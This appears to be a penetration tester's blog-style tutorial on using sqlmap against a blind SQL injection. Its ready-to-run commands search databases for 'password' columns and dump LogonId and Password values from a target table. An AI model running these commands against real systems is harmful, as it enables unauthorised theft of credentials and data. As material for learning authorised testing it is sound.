So assuming we have some sort of SQL Injection in the application (Blind in this case) and we've previously dumped all the available databases (--dbs), we now want to search for columns with 'password' in them.

To search all databases for 'password'

python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --time-sec=1 --search -C 'password'

To search a specific database for 'password'

python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --time-sec=1 --search -D 'MYDATABASE' -C 'password'

**note, that once sqlmap was done with 'MYDATABASE' it checked the rest of the DBs**

[15:28:17] [INFO] fetching columns LIKE 'password' for table 'dbo.mytable' on database 'MYDATABASE'

You'll get asked:

do you want sqlmap to consider provided column(s):

[1] as LIKE column names (default)
[2] as exact column names
> 1

You'll want to give it a 1 first time around, it will probably give you stuff like this:

[15:27:38] [INFO] retrieved: 2
[15:28:22] [INFO] retrieved: Password
[15:29:18] [INFO] retrieved: PrintPasswords

We now know that we want to go back and enumerate/dump the column values from dbo.mytable and database MYDATABASE to see if there is anything good there. Mostly likely there is also a userID or LogonId in there we need to extract as well.

python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --columns -T dbo.mytable -D MYDATABASE --time-sec=1

You could also just do a dump if you want to start grabbing data

python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --dump -T dbo.mytable -D MYDATABASE --time-sec=1

If you just want to pull a certain number of rows, you can also give a --start and --stop switch (--start=1 --stop=10) <--sometimes works, sometimes doesnt. Not sure whats up with that.

python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --dump -T dbo.mytable -D MYDATABASE --time-sec=1 --start=1 --stop=10

If you just want to just pull out certain columns you can do something like this (assuming columns LogonId and Password):

python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --dump -C LogonId,Password -T dbo.mytable -D MYDATABASE --time-sec=1 --start=1 --stop=10

I'm sure I just committed some SQLMap sins, so please correct me (like last time) :-)
